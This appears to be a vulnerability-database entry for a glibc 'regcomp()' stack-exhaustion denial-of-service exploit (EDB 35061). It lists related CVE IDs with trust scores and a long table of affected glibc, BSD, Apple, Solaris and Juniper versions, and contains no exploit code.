ID
VAR-E-201010-0031
CVE
cve_id: | CVE-2010-4052 | Trust: 3.4 |
cve_id: | CVE-2010-4051 | Trust: 1.8 |
cve_id: | CVE-2011-0418 | Trust: 1.8 |
cve_id: | CVE-2010-2632 | Trust: 1.3 |
cve_id: | CVE-2011-3336 | Trust: 1.0 |
EDB ID
35061
TITLE
GNU glibc - 'regcomp()' Stack Exhaustion Denial of Service - Linux dos Exploit
Trust: 0.6
DESCRIPTION
GNU glibc - 'regcomp()' Stack Exhaustion Denial of Service. CVE-2010-4052CVE-70447 . dos exploit for Linux platform
Trust: 0.6
AFFECTED PRODUCTS
vendor: | multiple | model: | vendors libc/glob | scope: | - | version: | - | Trust: 1.0 |
vendor: | gnu | model: | glibc | scope: | - | version: | - | Trust: 1.0 |
vendor: | openbsd | model: | openbsd | scope: | eq | version: | 4.7 | Trust: 0.9 |
vendor: | netbsd | model: | netbsd | scope: | eq | version: | 5.0.2 | Trust: 0.6 |
vendor: | netbsd | model: | netbsd | scope: | eq | version: | 5.0 | Trust: 0.6 |
vendor: | freebsd | model: | 8.2-stable | scope: | - | version: | - | Trust: 0.6 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.6.5 | Trust: 0.6 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5 | Trust: 0.6 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5 | Trust: 0.6 |
vendor: | openbsd | model: | openbsd | scope: | eq | version: | 4.6 | Trust: 0.6 |
vendor: | openbsd | model: | openbsd | scope: | eq | version: | 4.5 | Trust: 0.6 |
vendor: | openbsd | model: | openbsd | scope: | eq | version: | 4.4 | Trust: 0.6 |
vendor: | bsd | model: | libc/regcomp | scope: | - | version: | - | Trust: 0.5 |
vendor: | freebsd | model: | ftpd remote | scope: | eq | version: | 9.1 | Trust: 0.5 |
vendor: | os | model: | safari firefox regex | scope: | eq | version: | x// | Trust: 0.5 |
vendor: | gnu | model: | libc/regcomp | scope: | - | version: | - | Trust: 0.5 |
vendor: | tnftpd | model: | tnftpd | scope: | eq | version: | 20091122 | Trust: 0.3 |
vendor: | tnftpd | model: | tnftpd | scope: | eq | version: | 20081009 | Trust: 0.3 |
vendor: | tnftpd | model: | tnftpd | scope: | eq | version: | 20080929 | Trust: 0.3 |
vendor: | tnftpd | model: | tnftpd | scope: | eq | version: | 20080609 | Trust: 0.3 |
vendor: | sun | model: | solaris 9 x86 | scope: | - | version: | - | Trust: 0.3 |
vendor: | sun | model: | solaris 9 sparc | scope: | - | version: | - | Trust: 0.3 |
vendor: | sun | model: | solaris 8 x86 | scope: | - | version: | - | Trust: 0.3 |
vendor: | sun | model: | solaris 8 sparc | scope: | - | version: | - | Trust: 0.3 |
vendor: | sun | model: | solaris express | scope: | eq | version: | 11 | Trust: 0.3 |
vendor: | sun | model: | solaris | scope: | eq | version: | 11 | Trust: 0.3 |
vendor: | sun | model: | solaris 10 x86 | scope: | - | version: | - | Trust: 0.3 |
vendor: | sun | model: | solaris 10 sparc | scope: | - | version: | - | Trust: 0.3 |
vendor: | openbsd | model: | -current | scope: | - | version: | - | Trust: 0.3 |
vendor: | netbsd | model: | netbsd | scope: | eq | version: | 4.0.1 | Trust: 0.3 |
vendor: | netbsd | model: | current | scope: | - | version: | - | Trust: 0.3 |
vendor: | netbsd | model: | netbsd | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | juniper | model: | networks junos | scope: | eq | version: | 10.4 | Trust: 0.3 |
vendor: | gnu | model: | glibc2 | scope: | eq | version: | 2.3.10 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.11.2 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.11.1 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.10.1 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.5 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.3.10 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.3.4 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.3.3 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.3.2 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.3.1 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.3 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.2.5 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.2.4 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.2.3 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.2.2 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.2.1 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.2 | Trust: 0.3 |
vendor: | gnu | model: | glibc and greater | scope: | eq | version: | 2.1.9 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.1.9 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.1.3-10 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.1.3 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.1.2 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.1.1-6 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.1.1 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.1 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.0.6 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.0.5 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.0.4 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.0.3 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.0.2 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.0.1 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.0 | Trust: 0.3 |
vendor: | gnu | model: | glibc | scope: | eq | version: | 2.7 | Trust: 0.3 |
vendor: | gnu | model: | cfengine | scope: | eq | version: | 1.2.3 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 6.0.x | Trust: 0.3 |
vendor: | freebsd | model: | -stable | scope: | eq | version: | 6.0 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 6.0 | Trust: 0.3 |
vendor: | freebsd | model: | -stable | scope: | eq | version: | 5.5 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 5.5 | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 5.4 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 5.4 | Trust: 0.3 |
vendor: | freebsd | model: | -prerelease | scope: | eq | version: | 5.4 | Trust: 0.3 |
vendor: | freebsd | model: | -stable | scope: | eq | version: | 5.3 | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 5.3 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 5.3 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 5.3 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 5.2.1 | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 5.2 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 5.2 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 5.2 | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 5.1 | Trust: 0.3 |
vendor: | freebsd | model: | -release/alpha | scope: | eq | version: | 5.1 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p5 | scope: | eq | version: | 5.1 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 5.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 5.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 5.0.x | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p14 | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | freebsd | model: | alpha | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | freebsd | model: | -stable | scope: | eq | version: | 4.11 | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 4.11 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p3 | scope: | eq | version: | 4.11 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p20 | scope: | eq | version: | 4.11 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 4.11 | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 4.10 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p8 | scope: | eq | version: | 4.10 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 4.10 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 4.10 | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 4.9 | Trust: 0.3 |
vendor: | freebsd | model: | -prerelease | scope: | eq | version: | 4.9 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 4.9 | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 4.8 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p7 | scope: | eq | version: | 4.8 | Trust: 0.3 |
vendor: | freebsd | model: | -prerelease | scope: | eq | version: | 4.8 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 4.8 | Trust: 0.3 |
vendor: | freebsd | model: | -stable | scope: | eq | version: | 4.7 | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 4.7 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p17 | scope: | eq | version: | 4.7 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 4.7 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 4.7 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 4.6.2 | Trust: 0.3 |
vendor: | freebsd | model: | -stable | scope: | eq | version: | 4.6 | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 4.6 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p20 | scope: | eq | version: | 4.6 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 4.6 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 4.6 | Trust: 0.3 |
vendor: | freebsd | model: | -stablepre2002-03-07 | scope: | eq | version: | 4.5 | Trust: 0.3 |
vendor: | freebsd | model: | -stable | scope: | eq | version: | 4.5 | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 4.5 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p32 | scope: | eq | version: | 4.5 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 4.5 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 4.5 | Trust: 0.3 |
vendor: | freebsd | model: | -stable | scope: | eq | version: | 4.4 | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 4.4 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p42 | scope: | eq | version: | 4.4 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 4.4 | Trust: 0.3 |
vendor: | freebsd | model: | -stable | scope: | eq | version: | 4.3 | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 4.3 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p38 | scope: | eq | version: | 4.3 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 4.3 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 4.3 | Trust: 0.3 |
vendor: | freebsd | model: | -stablepre122300 | scope: | eq | version: | 4.2 | Trust: 0.3 |
vendor: | freebsd | model: | -stablepre050201 | scope: | eq | version: | 4.2 | Trust: 0.3 |
vendor: | freebsd | model: | -stable | scope: | eq | version: | 4.2 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 4.2 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 4.2 | Trust: 0.3 |
vendor: | freebsd | model: | -stable | scope: | eq | version: | 4.1.1 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 4.1.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 4.1.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 4.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 4.0.x | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | freebsd | model: | alpha | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | freebsd | model: | -stablepre2001-07-20 | scope: | eq | version: | 3.5.1 | Trust: 0.3 |
vendor: | freebsd | model: | -stable | scope: | eq | version: | 3.5.1 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 3.5.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 3.5.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 3.5x | Trust: 0.3 |
vendor: | freebsd | model: | -stablepre122300 | scope: | eq | version: | 3.5 | Trust: 0.3 |
vendor: | freebsd | model: | -stablepre050201 | scope: | eq | version: | 3.5 | Trust: 0.3 |
vendor: | freebsd | model: | -stable | scope: | eq | version: | 3.5 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 3.5 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 3.4x | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 3.4 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 3.3x | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 3.3 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 3.2x | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 3.2 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 3.1x | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 3.1 | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 3.0 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 3.0 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.2.8 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.2.7 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.2.6 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.2.5 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.2.4 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.2.3 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.2.2 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.2x | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.2 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.1.7.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.1.7 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.1.6.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.1.6 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.1.5 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.1x | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.0.5 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.0 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 1.1.5.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 1.1.5 | Trust: 0.3 |
vendor: | freebsd | model: | 9.0-stable | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 9.0-release | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 9.0-rc3 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 9.0-rc1 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 8.2-release-p2 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 8.2-release-p1 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | release -p3 | scope: | eq | version: | 8.2- | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 8.2 | Trust: 0.3 |
vendor: | freebsd | model: | 8.1-release-p5 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 8.1-release-p4 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 8.1-release | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 8.1-prerelease | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 8.1 | Trust: 0.3 |
vendor: | freebsd | model: | 8.0-stable | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 8.0-release | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 7.4-release-p2 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | -release-p3 | scope: | eq | version: | 7.4 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 7.4 | Trust: 0.3 |
vendor: | freebsd | model: | 7.3-stable | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 7.3-release-p6 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 7.3-release-p1 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | release p7 | scope: | eq | version: | 7.3-- | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 7.3 | Trust: 0.3 |
vendor: | freebsd | model: | 7.2-stable | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 7.2-release-p4 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 7.2-release-p1 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 7.2-rc2 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 7.2-prerelease | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 7.2 | Trust: 0.3 |
vendor: | freebsd | model: | 7.1-stable | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 7.1-release-p6 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 7.1-release-p5 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 7.1-release-p4 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | -release-p2 | scope: | eq | version: | 7.1 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p1 | scope: | eq | version: | 7.1 | Trust: 0.3 |
vendor: | freebsd | model: | -pre-release | scope: | eq | version: | 7.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 7.1 | Trust: 0.3 |
vendor: | freebsd | model: | 7.0-stable | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 7.0-release-p8 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 7.0-release-p3 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 7.0-release-p12 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 7.0-release-p11 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 7.0-release | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | beta4 | scope: | eq | version: | 7.0 | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 7.0 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p9 | scope: | eq | version: | 7.0 | Trust: 0.3 |
vendor: | freebsd | model: | -prerelease | scope: | eq | version: | 7.0 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 7.0 | Trust: 0.3 |
vendor: | freebsd | model: | 6.4-releng | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 6.4-release-p5 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 6.4-release-p4 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 6.4-release-p2 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | -stable | scope: | eq | version: | 6.4 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p3 | scope: | eq | version: | 6.4 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 6.4 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 6.4 | Trust: 0.3 |
vendor: | freebsd | model: | 6.3-release-p11 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 6.3-release-p10 | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 6.3 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p9 | scope: | eq | version: | 6.3 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p8 | scope: | eq | version: | 6.3 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p6 | scope: | eq | version: | 6.3 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 6.3 | Trust: 0.3 |
vendor: | freebsd | model: | -stable | scope: | eq | version: | 6.2 | Trust: 0.3 |
vendor: | freebsd | model: | -releng | scope: | eq | version: | 6.2 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 6.2 | Trust: 0.3 |
vendor: | freebsd | model: | -stable | scope: | eq | version: | 6.1 | Trust: 0.3 |
vendor: | freebsd | model: | -release-p10 | scope: | eq | version: | 6.1 | Trust: 0.3 |
vendor: | freebsd | model: | -release | scope: | eq | version: | 6.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 6.1 | Trust: 0.3 |
vendor: | freebsd | model: | 6.0-releng | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | -release-p5 | scope: | eq | version: | 6.0 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 6.0 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 5.5 | Trust: 0.3 |
vendor: | freebsd | model: | 5.4-stable | scope: | - | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 5.4 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 5.2.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 4.11 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.2.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 2.0.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 1.5 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 1.2 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 1.1 | Trust: 0.3 |
vendor: | freebsd | model: | freebsd | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | avaya | model: | cms server | scope: | eq | version: | 16.2 | Trust: 0.3 |
vendor: | avaya | model: | cms server | scope: | eq | version: | 16.1 | Trust: 0.3 |
vendor: | avaya | model: | cms server | scope: | eq | version: | 16.0 | Trust: 0.3 |
vendor: | avaya | model: | cms server | scope: | eq | version: | 15.0 | Trust: 0.3 |
vendor: | avaya | model: | ip deskphone | scope: | eq | version: | 96x16 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.6.6 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.6.4 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.6.3 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.6.2 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.6.1 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5.8 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5.7 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5.6 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5.5 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5.4 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5.3 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5.2 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5.1 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.6.7 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.6 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.6.5 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.6.4 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.6.3 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.6.2 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.6.1 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.8 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.7 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.6 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.5 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.4 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.3 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.2 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.1 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.6 | Trust: 0.3 |
vendor: | freebsd | model: | 8.3-stable | scope: | ne | version: | - | Trust: 0.3 |
vendor: | freebsd | model: | 7.4-stable | scope: | ne | version: | - | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | ne | version: | x10.6.8 | Trust: 0.3 |
vendor: | mozilla | model: | firefox | scope: | eq | version: | 27.0.1 | Trust: 0.3 |
vendor: | kaspersky | model: | kaspersky | scope: | eq | version: | 14.0.0.4651 | Trust: 0.3 |
vendor: | juniper | model: | junose | scope: | eq | version: | 11.3.3 | Trust: 0.3 |
vendor: | juniper | model: | junose | scope: | eq | version: | 10.3 | Trust: 0.3 |
vendor: | juniper | model: | junos space | scope: | eq | version: | 11.1 | Trust: 0.3 |
vendor: | juniper | model: | junos 13.2r1 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 13.1r3 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 13.1r2 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 13.1r1 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos | scope: | eq | version: | 13.1 | Trust: 0.3 |
vendor: | juniper | model: | junos 12.3r3 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 12.3r2 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos | scope: | eq | version: | 12.3 | Trust: 0.3 |
vendor: | juniper | model: | junos 12.2r4 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos 12.2r3 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos | scope: | eq | version: | 12.2 | Trust: 0.3 |
vendor: | juniper | model: | junos 12.1x45-d10 | scope: | - | version: | - | Trust: 0.3 |
vendor: | juniper | model: | junos | scope: | eq | version: | 12.1x45 | Trust: 0.3 |
